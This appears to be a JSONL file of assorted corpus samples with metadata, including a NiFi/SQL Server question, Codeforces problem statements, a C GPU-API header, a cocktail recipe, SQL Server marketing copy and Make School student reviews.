    {"text": "I have a requirement where I get xml documents from Kafka. Each xml document contains 5 arrays. Each array should go into a specific table in Sql Server. I am thinking of converting xml into json and use ConvertJsonToSql processor. (Please provide a better approach). As ConvertJsonToSql processor takes only one array, I am looking for a way to split the source document into 5 plain documents (one for each array) and use 5 ConvertJsonToSql processors. I am not clear how the transactions work in Nifi. All inserts into these 5 tables should happen in a single transaction for a document. I have been struggling to get clarity on approach. Can you please help me?\nThanks in advance.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "I have a Mac mini with High Sierra (10.13.4) with a Windows-keyboard (it has a numpad).\nEverything went fine for a long time but a few months ago I got a big problem: In many apps (Calculator, Excel, etc.) when I want to write for example \"567\" with the numpad, the number I push overwrites the last number. So if I push 5, 6 and 7, than instead of \"567\" it just shows a 7 (because the 6 overwrites the 5, and the 7 overwrites the 6).\nIn some apps however it works fine, for example in TextEdit or Firefox...\nI probably just pushed some keyboard-shortcut which made this issue, but it really makes me go crazy. Could you please help me?\nThank you very much!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 186, "token_count_with_eod": 187, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "- Release Notes\n- Get Started\n- Project Planning\n- Account Settings\nFollow these general file preparation and optimization guidelines when getting ready to build your demo:\n- Keep in mind that there are different output file size limitations for demos made for different platforms.\n- Record and export video, music, and sound effect as separate files. See also the tips for video and audio recording and editing.\n- Don’t compress video assets and high-encoded videos when building a demo. All video assets in Studio are automatically spliced and compressed to RF 26 + 30 FPS for publishing.\n- Compress your static assets like images and fonts before importing them to Studio.\n- If you need to optimize your assets, consider using programs like ImageOptim for image compression and Handbrake for video compression.\n- Organize your files in a single location and name them to reflect the associated scenes and transitions in the storyboard. See also File Naming Conventions below.\nExported video files should be H.264 codec, 30 FPS, and have high resolution of 1920 x 1080.\nSee also Video Recording Tips.\nMono channel and 96 kbps are recommended.\nSee also Audio Recording Tips.\n|Compress all font assets before importing them to Studio.|\nTo expedite the demo creation process, maintain consistent naming conventions for your assets to help you recognize them, for example, when you need to select them from menus in different panels.\n- Avoid using spaces or special characters. If needed, use hyphens or underscores in place of spaces.\n- Omit articles, prepositions, and other insignificant words.\n- Avoid using ALL CAPS. Use title case to help you distinguish between the words.\n- Use meaningful, easy-to-recognize names for asset files to reflect their contents and purpose in the demo, for example:\n- Avoid using acronyms and abbreviations. If you choose to use them, opt only for commonly known ones, for example, CTA for a “call to action” or SFX for “sound effects,” especially if you are preparing files for another person to use.\n- Avoid numbering files starting with 01 or a similar prefix. While it may help you sort the files initially, issues may arise if you need to add assets at a later time. In Studio, you can use the search field in the Assets panel to find the necessary files.\n- Don’t include asset types in file names, for example:\n- DO: Move1-Loop, Move1-Action, CTA-Button\n- DON’T: Move1-Loop-Video, Move1-Action-Sound, CTA-Button-Image\nMedia asset types are indicated by icons in the Assets panel, labels in the UI, such as Play Video actions, and their file extensions.\n- Use the same file name for assets that are intended to be used in the same scene, for example:\n- DO: Move1-Action for both video and sound effect\n- DON’T: Move1-Action-Video and Move1-Action-Sound\nThe file extensions will help you distinguish between Move1-Action.mp4 and Move1-Action.mp3.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 671, "token_count_with_eod": 672, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Note that the memory limit is unusual.\n\nYou are given a multiset consisting of $$$n$$$ integers. You have to process queries of two types:\n\n- add integer $$$k$$$ into the multiset;\n- find the $$$k$$$-th order statistics in the multiset and remove it.\n\n$$$k$$$-th order statistics in the multiset is the $$$k$$$-th element in the sorted list of all elements of the multiset. For example, if the multiset contains elements $$$1$$$, $$$4$$$, $$$2$$$, $$$1$$$, $$$4$$$, $$$5$$$, $$$7$$$, and $$$k = 3$$$, then you have to find the $$$3$$$-rd element in $$$[1, 1, 2, 4, 4, 5, 7]$$$, which is $$$2$$$. If you try to delete an element which occurs multiple times in the multiset, only one occurence is removed.\n\nAfter processing all queries, print any number belonging to the multiset, or say that it is empty.", "source": "cpt_codeforces", "language": "en", "token_count": 227, "token_count_with_eod": 228, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "#pragma once\n#ifndef GPU_API_H\n#define GPU_API_H\n\n#include \"mana/core/memoryallocator.h\"\n//\n#include \n\n#include \"mana/core/vulkancore.h\"\n\nstruct GraphicsLibrary;\n\nenum GPU_API_STATUS {\n  GPU_API_SUCCESS = 0,\n  GPU_API_VULKAN_ERROR,\n  GPU_API_LAST_ERROR\n};\n\nenum APIType { VULKAN_API = 0 };\n\nstruct GPUAPI {\n  union {\n    struct VulkanState* vulkan_state;\n  };\n  enum APIType type;\n};\n\nint gpu_api_init(struct GPUAPI* gpu_api, enum APIType gpu_api_type, struct GraphicsLibrary* graphics_library, const char** graphics_lbrary_extensions, uint32_t* graphics_library_extension_count);\nvoid gpu_api_delete(struct GPUAPI* gpu_api);\n\n#endif  // GPU_API_H", "source": "cpt_stack_code", "language": "code", "token_count": 188, "token_count_with_eod": 189, "validation_channel": "code", "validation_source": "cpt_stack_code"}
    {"text": "A bane's profile is pretty blank, just stating only the most basic facts. Reinstating everything to be like it was is turing out to be more than just copying and pasting. Something that simple implies picking up where I left off before.\nIt is different now and it seems like the change in me deserves a new profile. It isn't so easy though. It isn't my profile, it belongs to Mistress.\nI guess if it were mine, I'd probably change the text on the main page of it, maybe do a pick and delete the rest. Maybe just leaving it all blank is more of a symbol that it doesn't belong to me - a symbol to me at least.\nI have got to be making this too hard. I don't want to have endured that awful suit and appear to have emerged the same as I was going in. I don't know... I'll ask Mistress what she would like in her slave's profile.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 197, "token_count_with_eod": 198, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "How to make the Best Old Fashioned Cocktail at home.\nIf you like our channel, click here to subscribe!https://www.youtube.com/c/theeducatedbarfly?sub_confirmation=1\nThe first documented use of the word \"cocktail\" comes from the May 13th 1806 edition of The Balance And Columbian Repository which printed it's definition like this: \" A potent concoction of spirits, bitters, water, and sugar.\"\nThe story of the modern Old Fashioned goes something like this: A guy walk into the Pendennis Club sometime in the mid 1880's and sidles up to the bar. He asks the bartender for a drink in the Old Fashioned way. The Bartender, knowing that this guy doesn't want an improved whiskey cocktail (the drink which emerged in the wake of slings) makes this guy a bittered sling, but where this drink deviates is that he puts it on ice, which by now was available widely, and garnishes with a twist of orange, adding the essential oils of the fruit. The Old fashioned was born!\nThere are many ways to make an Old Fashioned and this video is just one of those ways. And of course it's my favorite. I will though from now on be posting various other recipes for an old fashioned . Some from important cocktail bars and others from bartenders and some from you guys. So comment below and let us know your favorite Old Fashioned build!\nI want to state now that I got a date wrong. The Pendennis Club was opened in 1881 not 1861 as I previously thought. It's a small mistake and not worth a reshoot. That puts the modern old fashioned creation in the mid 1880's. So don't get all crazy about the mistake, I am a creature of accuracy so i am correcting myself here.\nWe are proud that our official apron sponsor is Stagger Lee Goods. Alfred Ramos hand stitches each of these amazing quality aprons in his Northern California workshop. He Does custom work and has aprons for just about every position in a restaurant and bar so do yourself a favor and check him out:https://www.staggerleegoods.com\nIf you are interested in helping us offset the cost of production you should check out our Patreon page which has a bunch of great perks and goes a long way to helping us bring you quality content. You can find that here:https://www.patreon.com/theeducatedbarfly\nHere's The Specs:\n2oz Rye Whiskey\n1 Sugar Cube\n4 Dashes Angostura Bitters\nDash Soda Water\nOrange and Lemon Twist\nLuxardo Cherry Garnish\nIf you want buy the glassware we're using you can find it here: https://amzn.to/2C5VoTq\nMore of the tools and books we use can be found in our Amazon Storehttps://www.amazon.com/shop/theeducatedbarfly", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 615, "token_count_with_eod": 616, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Once Petya and Vasya invented a new game and called it \"Smart Boy\". They located a certain set of words — the dictionary — for the game. It is admissible for the dictionary to contain similar words.\n\nThe rules of the game are as follows: first the first player chooses any letter (a word as long as 1) from any word from the dictionary and writes it down on a piece of paper. The second player adds some other letter to this one's initial or final position, thus making a word as long as 2, then it's the first player's turn again, he adds a letter in the beginning or in the end thus making a word as long as 3 and so on. But the player mustn't break one condition: the newly created word must be a substring of a word from a dictionary. The player who can't add a letter to the current word without breaking the condition loses.\n\nAlso if by the end of a turn a certain string s is written on paper, then the player, whose turn it just has been, gets a number of points according to the formula:\n\n$$$$\n\nwhere\n\n- $$\\mathrm{value}(c)$$ is a sequence number of symbol c in Latin alphabet, numbered starting from 1. For example, $$value(\\mathbf{a}) = 1$$, and $$value(z) = 26$$.\n- $$\\text{num}(s)$$ is the number of words from the dictionary where the line s occurs as a substring at least once.\n\nYour task is to learn who will win the game and what the final score will be. Every player plays optimally and most of all tries to win, then — to maximize the number of his points, then — to minimize the number of the points of the opponent.", "source": "cpt_codeforces", "language": "en", "token_count": 375, "token_count_with_eod": 376, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "Now you can take online courses in the Berland State University! Polycarp needs to pass k main online courses of his specialty to get a diploma. In total n courses are availiable for the passage.\n\nThe situation is complicated by the dependence of online courses, for each course there is a list of those that must be passed before starting this online course (the list can be empty, it means that there is no limitation).\n\nHelp Polycarp to pass the least number of courses in total to get the specialty (it means to pass all main and necessary courses). Write a program which prints the order of courses.\n\nPolycarp passes courses consistently, he starts the next course when he finishes the previous one. Each course can't be passed more than once.", "source": "cpt_codeforces", "language": "en", "token_count": 156, "token_count_with_eod": 157, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "TechEd North America is upon us today and we couldn’t be more thrilled. Microsoft continues to evolve and invest in the Information Platform and today during the TechEd Foundational Session, Microsoft SQL Server: The Data and BI Platform for Today and Tomorrow, Quentin Clark, Corporate Vice President spoke to the Microsoft Cloud-Ready Information Platform.\nThe data explosion is happening at every level across every imaginable device, application and individual. Meanwhile IT needs to balance the proliferation of applications, globalization, increasingly powerful commodity hardware, demand for accessible insights, and new form factors such as the cloud, appliances and mobile devices. And they have to do this with an uptime and level of compliance that is simply expected.\nThe next wave of SQL Server investments brings customers a Cloud-Ready Information Platform that will help them tackle the data explosion and evolve into the future through integrated private and public cloud offerings, optimized appliances, complete and scalable data warehouse offerings, scalable end-to-end business intelligence, and of course continued investments in the SQL Server database software.\nSo what does this mean? Well, it means you can start to break free from tradition and move the business forward with mission critical confidence, breakthrough insight and cloud on your terms.\nThe cloud-ready information platform will protect an organization’s infrastructure – getting you the nines and performance you need at the right price, especially for mission critical workloads, with the new availability solution, SQL Server AlwaysOn and blazing-fast performance with Project “Apollo.” With Microsoft, customers reduce the need to trade off uptime for security patching– SQL Server continues to lead major database vendors with the fewest number of vulnerabilities [nist.org] and in turn this reduces the need to sacrifice uptime for patching. Customers who bet on Microsoft get more than a trusted platform; they get a trusted business partner and a huge ecosystem of experienced vendors.\nCustomers will quickly unlock breakthrough insights across thousands of users through highly interactive web-based data visualizations with Project “Crescent,” as seen in the TechEd keynote, managed self-service analytics with PowerPivot, and unified with the new BI semantic model. Insights are backed by credible consistent data made possible by new Data Quality Services and complete data warehousing solutions including Parallel Data Warehouse and Fast Track.\nCloud On Your Terms\nAdditionally, SQL Server will offer organizations the agility to quickly create and scale solutions that solve challenges and fuel new business opportunity from server to private or public cloud linked together by common tools—build once, deploy and manage wherever with SQL Server Developer Tools code name “Juneau.”\nWhat does cloud-ready mean for you?\nSQL Server Code Name “Denali” will help customers bridge applications and workloads from traditional servers to private cloud to public cloud. Customers can take advantage of private and public clouds by scaling on demand with flexible deployment options, a common set of developer tools, and solutions to extend the reach of data across private and public cloud environments. SQL Server Code Name “Denali” will deliver key features that help customers move to the cloud when they are ready and without the need to rewrite or retool investments.\n- Scale on demand with flexible deployment options: A common architecture which spans traditional, private cloud and public cloud environments giving customers the ability to scale beyond the constraints of any one environment for maximum flexibility in deployments\n- Fast time to market: A range of options for rapidly provisioning resources and reducing IT burden including Fast Track reference architectures to build private cloud solutions, pre-configured and optimized SQL Server appliances for ready-made solutions, and public cloud data services with SQL Azure\n- Common set of tools across on-premises and cloud: Integrated set of developer tools and management tools for developing and administering applications across private cloud and public cloud giving developers and IT professionals maximum productivity, faster time to solution and lower on-ramp to building cloud solutions. Also, enhancements to the Data-tier Application Component (DAC) introduced in SQL Server 2008 R2 further simplify the management and movement of databases from on premises to cloud.\n- Solutions to extend the reach of data: Support for technologies such as SQL Azure Data Sync to synchronize data across private and public cloud environments, OData to expose data through open feeds to power multiple user experiences and Windows Azure Marketplace DataMarket to monetize data or consume from multiple data providers.\nGet ready for the evolution\nThe next SQL Server Code Name “Denali” CTP is coming this summer! Sign up today for the notification and be among the first to test the exciting new features and functionality.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "John Doe has a crooked fence, consisting of n rectangular planks, lined up from the left to the right: the plank that goes i-th (1 ≤ i ≤ n) (from left to right) has width 1 and height hi. We will assume that the plank that goes i-th (1 ≤ i ≤ n) (from left to right) has index i.\n\nA piece of the fence from l to r (1 ≤ l ≤ r ≤ n) is a sequence of planks of wood with indices from l to r inclusive, that is, planks with indices l, l + 1, ..., r. The width of the piece of the fence from l to r is value r - l + 1.\n\nTwo pieces of the fence from l1 to r1 and from l2 to r2 are called matching, if the following conditions hold:\n\n- the pieces do not intersect, that is, there isn't a single plank, such that it occurs in both pieces of the fence;\n- the pieces are of the same width;\n- for all i (0 ≤ i ≤ r1 - l1) the following condition holds: hl1 + i + hl2 + i = hl1 + hl2.\n\nJohn chose a few pieces of the fence and now wants to know how many distinct matching pieces are for each of them. Two pieces of the fence are distinct if there is a plank, which belongs to one of them and does not belong to the other one.", "source": "cpt_codeforces", "language": "en", "token_count": 341, "token_count_with_eod": 342, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "Make School is a college in San Francisco where students earn a Bachelor of Science in Applied Computer Science in 2.5 years, complete with a liberal arts education that prepares graduates to work with the world’s leading tech companies. Make School's project-based curriculum — built in partnership with companies such as Lyft, Microsoft, Yelp, and Spotify — prepares students to keep up with the rapid speed at which technology and new languages evolve. Unlike a traditional 4-year degree that includes a once-a-week lecture followed by hours of self-directed homework and tests, Make School's accelerated degree program resembles the typical work week of a STEM professional. Due to this unique structure, students graduate in 2.5 years job-ready and with a robust portfolio.\nMake School strives to create a safe, nurturing environment where students of all backgrounds can excel, regardless of how much prior coding experience they have. Admissions criteria is based on work ethic and excitement to learn rather than test scores and GPA. The majority of students come from low- to mid-income families, while nearly half identify as underrepresented minority students.\nMake School is committed to helping graduates land their dream jobs and believes that higher education should be a path to upward mobility rather than insurmountable student debt. Make School offers an Extended Income-Based Repayment (EIBR), which, in basic terms, means that Make School will pay for private student loans if alumni are unemployed or underemployed after graduation. Graduates pay nothing until they have a job that enables them to pay back their loans.\nRecent Make School Reviews: Rating 4.1\nRecent Make School NewsRead all (18) articles about Make School →\nIn PersonFull Time\nStart Date None scheduled Cost $70,000 Class size N/A Location San Francisco\nDeposit 250 FinancingStudents take primary financing from Title IV funding and private loans. Make School has created a protection plan that caps loan payments as a percentage of income and drops monthly payments to $0 if alumni are unemployed.\nMinimum Skill Level Complete newbies welcome! Placement Test No Interview Yes\nMake School Reviews\n21 reviews sorted by:\n- Bachelor's of Applied CS Junior- 11/5/2020Chris • Student • Course: Bachelor in Applied Computer Science • Campus: San Francisco • Verified via GitHubAn extended bootcamp with an Accredited Bachelor's Degree.Curriculum:The project-based curriculum is laid out very well, with almost no time wasted. You’ll be learning a fundamental CS topic in the morning and you’ll be putting it to use on another project in another language in the afternoon.Turning a four year degree into two years means things move fast. Terms are seven weeks long. It’s manageable but expect 50+ hour weeks if you’re a quick learner. 70+ if you want to really stand out. You will also take a few science, product development and liberal arts classes like in a traditional degree. At the end of each term there are mandatory hackathons (called Intensives) which you can use to build portfolio ready projects.Make sure to bring your own motivation. The classes do cover all the fundamentals but don't expect to be among the best by only doing the assigned work. Self directed learning and side projects are highly encouraged and the school does offer a lot of support but you will only get as much out of the program as you put in.Culture:The culture at the school is one of the best I’ve ever experienced in higher education. There is a lot of support from the school. It feels like a real community and everyone is out to help one another. You get weekly 1v1 coaching sessions with Instructors, lots of open office hours, multiple co-working sessions with TA’s and helpful students and a Slack channel that is widely used by both students and instructors and staff.TL;DR:Highly recommended to the right type of highly motivated person that wants a real project based education in the shortest amount of time possible. Instructors are great. Lots of support. Modern curriculum. Cool students. Bachelor’s degree in 2 years.\n- Project based higher education- 11/4/2020Jordan T • Student • Student • Course: Bachelor in Applied Computer Science • Campus: San Francisco • Verified via GitHubStarting Experience:\nI chose to attend make school because I wanted to get a degree, but learn in a way that showcased my work instead of just giving a grade. I enjoyed visiting the school, taking a tour of the dorms, visiting classrooms, and most importantly sitting in on a lesson. Talking to other students about their experience here, and why they chose the school was important for my choice. After talking to them it felt good being surrounded by like-minded individuals.\nAll of my instructors have been supportive. Each one taking the time in class to offer their minds and makes sure we are learning. Each class has its own pace but each instructor makes sure we have time to ask our questions. Zoom has been difficult for people mentally, but the school is doing its best to make the zoom rooms engaging. Alongside our teachers, we also have a ton of student support from our classmates, and our TA's. Another cool thing about Make School is the amount of feedback we give. After you finish a course or go to a meeting they want feedback. The school is growing constantly and they are trying to make this space one for everyone.\nI think support is something make school is pushing for. You get a coach and they are another person you can talk to, learn from, and as more professional questions. There are also tons of student and faculty lead groups where you can talk about being a BIPOC, or talk about life hacks. I know my professors have pushed mental health and most teachers encourage taking some time away from the computer to enjoy the world (safely). The faculty also make sure to check-in with students to make sure we are enjoying classes, and that we are okay mentally.\nI enjoy my classes, and I enjoy how this school makes me feel about myself. I like being supported in my own way, and I like the readiness that I am being prepared for. Make School has given me the chance to get where I want in my professional life, and if you're looking to take the next step consider coming here.\n- What higher education should be- 11/4/2020Richard J • Student • Course: Bachelor in Applied Computer Science • Campus: San Francisco • Verified via LinkedInThe project-based learning approach that Make School provides is unquestionably the best way to both prepare you for the workforce and give you things worth showing when applying to jobs. This is the kind of thing that I wish existed when I'd first graduated high school, so I hadn't wasted so much time getting a traditional degree.\n- Incredible community of passionate and amicable people who all want to see you succeed and are just genuinely pleasant to interact with.\n- School's income is entirely dependent on your success whether you take the ISA route or take out loans with income-based repayment.\n- Project-based learning means you'll have a whole lot to show for the time you put in, which is exactly what you need when applying to jobs.\n- Accelerated pace means you won't be wasting any time, yet you'll still get an accredited bachelor's degree.\n- Be prepared to work HARD. 4 years' worth of schooling crammed into 2 means you will be spending the majority of your waking hours in class or working on homework/projects. There is not a lot of wiggle room if you fall behind.\n- Could stand to have better housing accommodations.\nOverall, I've never been busier, but I've also never felt more optimistic about my future. I'm going to recommend this school to pretty much everyone I know.\n- Alternative for Higher Education- 11/4/2020Stanley Chow • Student • Course: Bachelor in Applied Computer Science • Campus: San Francisco • Verified via GitHubI applied to Make School looking for a computer science education after dropping out of a business college. With coding, students get the most returns when they put in the hours coding in front of their computers. Make School provided the best community for me to encourage me to put in these hours. The instructors are from diverse backgrounds in tech from founders to data scientists and really care about the future of the industry in the form of their students. I was a complete beginner to software engineering and Make School has been a big support for me in my learning journey.\n- Current Student- 10/29/2020Yin • Student • Course: Bachelor in Applied Computer Science • Campus: San Francisco • Verified via GitHubOverall Experience: Just started the journey of Make School this summer, and I'd say the experience is much better than the previous school. Make school is a cohesive community, so whenever you have a problem, you can always shoot a message to your instructors or the TAs. Also, they care about your well-being, and they do want you to succeed. Thus, they will pair you with mentors to help you out.\nInstructors & Courses: Some of the instructors are very experienced, and you will learn a lot in their classes. Also, I like the software product development class a lot because the materials are super helpful and can equip you with the skillset to work with others, and furthermore creating your own startup.\nIf you are expecting to become a programming Guru by simply applying to Make School, you are going to get disappointed. Make school can provide you the knowledge, community, industrial tips and tricks, and job assistance. However, studying CS requires you to put some effort and time into it. If you do make good use of everything they offer to you, the journey here is going to be amazing!\n- Not worth the price- 8/20/2020Jose • U2 Tutor, course grading • Student • Course: Bachelor in Applied Computer Science • Campus: San Francisco • Verified via GitHubThe lie of saving you from student loan debt: The founder will harp on about how they are trying to give students zero debt, but the ISA (Income Shared Agreement loan) is $200,000 tuition which lasts 5 years + $100,000 housing loan which lasts 10 years loan for 2 YEARS OF EDUCATION. During the Corona Virus, they got approved to give out student loans instead. Which goes against their company's value of \"reforming the student loan system\".SHADY STUFF One of the founders is a total salesmen being your best friend before you enrolled, and then when you are enrolled he wants nothing to do with you. Additionally, He told us we would be guaranteed housing for two years for all incoming students, and then went back on it 8 months later saying we would have no guaranteed student housing in one of the highest rent cities in the room where a room averages $3000 a month. People debated suing, and a lot of the students were debating dropping out. They caved and tried to find housing for us out of fear of the bad reputation. In addition, the dean will tell you no to pretty much any request you ask them to make. I personally wanted to test out of intro classes, and she refused my request even though before I enrolled I was told multiple times I could do it only telling me after I already was fully enrolled that it wasn't possible. She came up with many excuses for not letting me even going as far as saying \"it's against our school's integrity\". She really makes the place a harder place to attend and makes the student body angrier almost every announcement. A common trend at Make School was whenever they go back on something they promised, they would use the dean to give us the bad news over slack.CURRICULUM They use GitHub for basically all their class syllabuses, and a lot of FREE OPEN SOURCE material for the work that you could easily find yourself without spending $90,000. That being said it isn't that bad to use it, but it isn't for beginners to read the online DEVELOPER DOCUMENTATION, which followed to a lot of dropouts. The curriculum is out of date leading to many problems slowing down the whole class.JOB SUPPORT This is probably the best thing they have going for them. The students that go here have a slingshot into big companies like Google, Microsoft, and Lyft. However, they do usually have other college experience or went to the ivy league, UC BERKELEY (TIED with MIT, Stanford), or basically degree and work experience in the cs field who get the jobs. Some other students get to use it if they devote their full time the first year to their portfolio, and go above and beyond working on their skills.Should you go to Make School? They have some brilliant instructors that teach frontend, backend, mobile, and data science. Probably the best part of the school is instructors, and how they help you build a portfolio. If you want to be a developer at the end of the day for a big company like google, and know nothing I would go there, but you are going to take a lot of debt when you could go somewhere else. If you know a lot about coding then I would maybe reconsider and go somewhere else cheaper, and teach yourself how to do practical work. If you can understand and implement c++ then you can do anything in the industry with ease.\nFinal Thoughts I really believed in this school when I first got there and thought it was going to be the school that would get me ready to work at a top company. unfortunately, I was scammed and denied a proper education for no good reason other than to keep me there for two years in order to get me to have a $300,000 loan to pay back. I wasted my time the first year having to work on side projects to learn anything with the second-year students. Lastly, the one thing I did learn from Make School was self-teaching, since the fact, I had to teach myself almost everything............\n- 1 Year Of Applied CS Program- 6/5/2019Connor • Student • Campus: San Francisco • Verified via LinkedIn\nTo start, I am writing this because I wish I would have done more research before attending Make School. I did not plan to ever finish the 2 year program to receive the degree in applied computer science, I just wanted to learn some cs and how to code. I'll start with the pro's and con's and then give my recommendations on what I think someone thinking of attending Make School might want to do:\n- CS instructor is amazing, has a great way of explaining concepts and is passionate about teaching.\n- The community is great, everyone is passionate about learning and excited about cs.\n- Curriculum outside of cs is just not there yet.\n- So EXPENSIVE. From my research, any state college in the nation is cheaper than Make School.\nif you're thinking of attending, I would highly suggest going to a community college for a year or two first. A local community college is really cheap and in some states free. After that, apply to some traditional computer science programs and look into other options. If you have no other options, I would say go to Make School as a last resort.\nThe Price Scheme:\nThey charge 20% of your salary for 5 years and if you take the living stipend they tack on another 5% for 5 years and then another 7% for an additional 5 years. It definitely seems appealing when they tell you no tuition up-front, but think about the future in this case. This contract doesn't go away unless you make under 60k per year for 8 years. The extra 5% and 7% are owed whenever you make more than 40k per year.\nSay you make 90k per year after graduating, after they take their money and then taxes (29% from federal and state if in California) are taken, you get left with $48,600 per year for the first 5 years.\n- Good school but very expensive- 10/13/2018juan hurtado • Apprentice Software Engineer • Student • Campus: San Francisco • Verified via LinkedIn\nI want to leave a very honest review of my time at Make School so that other people can be informed when deciding to join. To give some background, I joined the full stack web track before the school introduced the bachelors in Applied Computer Science.\nThe school was broken up into three parts. Computer Science, your chosen track ( my case full stack web ) and core. I am going to give my review on each of the three sections.\nOverall I was very happy with the CS classes. They were taught by a very knowledgeable instructor. I really liked his method of teaching because it was aimed at making sure students learned in depth the fundamentals of CS. He was also very good at breaking down complicated topics and made sure to draw diagrams and visual examples which made data structures and algorithms simpler to understand.\nFull Stack Web:\nThe topics that were taught were current and applicable to getting a job but HOW they were taught wasn't up to par with the CS classes. For many of my classes we were just assigned some online tutorials and not once did we do code review or go over the tutorial to see what students did right or wrong. Me and other students were upset because we felt like there wasn't a structure to the classes. I was very dissapointing because I was spending a lot of money just to read some tutorial online. I can say I learned a lot more buying a $10 course on Udemy than from that class.\nThe purpose was to make you prepared to get a job and an effective employee. We did exercises such as:\n* Mock interviews\n* How to find and approach engineers from top tech companies to learn from them and potentially have a mentor\n* How to write professional emails\n* A bunch of other useful stuff\nThe instructor was good and I can say he helped me a lot in my soft skills specially how to answer tough behavioral questions.\nOverall the school was good at teaching relevant skills and I can say that if you work hard enough you can definitely end up at a great company making a lot of money. Although, the lessons were great, Make School isn't teaching magic. You can learn and become a software engineer without spending tens of thousands of dollars. Many people have done it. In fact, I met someone who was a senior engineer at a top tech company who was entirely self taught.\nThere are so MANY free or cheap courses online that are very high quality. MIT has free CS courses so does Harvard. Heck you could buy a few $10 courses on Udemy and get pretty much the same value ( From a technical side ). If I could do it all over again I wouldn't have gone to Make School and my wallet would be very happy but hindsight is 20/20.\nIn conclusion, you will learn relevant skills but the school is EXTREMELY expensive and I don't know if I can justify the price for what I learned. For that reason, I don't recommend it.\n- What to expect...- 9/10/2017Mthabisi Ndlovu • Student • Course: Summer Academy • Campus: Oakland • Verified via LinkedIn\n- It's a good chance maybe change your life- 9/4/2017ShenTungHuang • Graduate • Course: Summer Academy • Campus: San Francisco • Verified via LinkedIn\nWe got many instructors and students in this class, all of us come from different countries and cities and major in different fields. In this class we are effort to build our mobile APP in a specific field try to amaze the world. You can learn how to build an APP or Game, get some interesting stories and advices and you can get new friends. There's a lot of things happen in this 8 weeks.\n- Just DO IT!- 11/13/2020DRose • (future) Software Engineer • Student • Course: Bachelor in Applied Computer Science • Campus: San FranciscoMAKESchool has an excellent curriculum and not only prepares you for \"code\" but also for what employers and large companies are looking for in competitive candidates. The experience and network you gain at MAKEschool with industry leaders is incomparable and they have bridged the gap between a degree and actually securing a lucrative position. In addition, I have had unexpected health issues that impacted my ability to fully attend school initially and make school was amazing at accommodating my needs and well as helping me get back on track. The only con is the dorm situation for many students after COVID which I wish Make School had handled better. I am optimistic to see how they alleviate the issues for students in dorms moving forward. Otherwise, my experience with make school so far has been pleasant and I expect to gain irreplaceable skills and experience.\n- Accelerated Student- 10/29/2020Aldrin • Student • Course: Bachelor in Applied Computer Science • Campus: San FranciscoPrior to attending Make School, I attended a traditional University for Computer Science. Long story short, the first impressions I received during my time there were subpar to say the least. As a student studying a technical degree, I appreciate any type of assistance that the program can grant me. Realizing that the program wasn't efficient for my learning experience, I decided to leave and transfer to Make School's Applied CS Program.Having just started my Make School journey this year, I already have experienced a much better, more efficient Computer Science program than what I have experienced before. This is my experience:Community: Make School is a very close-knit, cohesive community, prioritizing their students' academic experience and project-based learning. During orientation, they provided us with multiple instructors who guided us with environmental setups prior to starting the courses. Throughout the terms I have experienced, the community (specifically the faculty) is active on the Make School Slack channel to be able to assist student with any help that they ask for. The community is revolved around Computer Science, and so the student vibe and experience is mostly technical, giving you daily experience and exposure to Software Engineering.Curriculum: The curriculum is efficiently structured to where a student knowing nothing about programming can succeed and become efficient in a certain field of Computer Science by the time of graduation. Currently, the programs technical concentrations are in iOS programming, Front End Web, Back End Web, and Data Science. Each student starts off with the generic intro classes and then branches off into their chosen concentrations. The curriculum is very project-based, having the students submit various projects throughout each class to showcase what they understand and have learned. What I find to be extremely helpful is that the program requires a week long intensive after each term, allowing the students to practice what they have learned in and out of school into a project-based final. The Make School Applied Computer Science program is a 2 year, accelerated program, and so students interested in transitioning and/or applying to Make School have to understand that the curriculum of the traditional 4-year programs will be compiled into 2 years. Saying this, be prepared to work hard and efficient throughout your whole time there.Instructors/Faculty: The instructors/faculty, in my opinion, are one of the most efficient gems in a student's Make School experience. All of the instructors that I have had so far are brilliant and have had vital working experience as Software Engineers both in and out of Silicon Valley. Their backgrounds are extremely impressive, having had academic and work backgrounds at Columbia University, Google, Microsoft, NFL, UC Berkeley, and numerous others.Job Support: Another great gem at Make School. Their Job Support is amazing. Shoutout to Jeff D'Andria for being an awesome human being and being a great mentor to communicate with for job support in Silicon Valley. The students that attend Make School have a higher chance to be able to work for big tech companies such as Google, Microsoft, Yelp, etc. It is the perfect mixture of Make School's curriculum, community networks, and faculty that allow for this to happen.Financial Aid: As a Military Veteran currently waiting for the final processing to use my Education Benefits for tuition, it is hard to judge my thoughts for their financial aid services. As I have not had much experience dealing with their FinAid at this time, I will withhold any comments I have to say in regards to their FinSystem. I will say that their new assistant director for financial aid, Isabelle, has been an amazing, active communicator with me throughout my Make School experience. She is extremely helpful and is actively updating me with my FinStatus. Shoutout to Isabelle for being awesome!Final thoughts: Make School is an ACCELERATED PROGRAM. As welcoming as the community is, as helpful as the instructors are, as awesome as the curriculum holds, students that are interested in attending Make School have to understand that it is a competitive program that will guide you to succeed, but you also have to work hard. Life doesn't grant you a degree. Life doesn't grant you easy access to a high salary job as a software engineer. It is your motivation and work ethic both in and out of the classroom that will get you there. Make School provides the knowledge, community, assistance, and environment to help you succeed, but you yourself have to be driven enough to reach that goal. If that is truly something you desire, then Make School is the perfect fit for you.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 5278, "token_count_with_eod": 5279, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
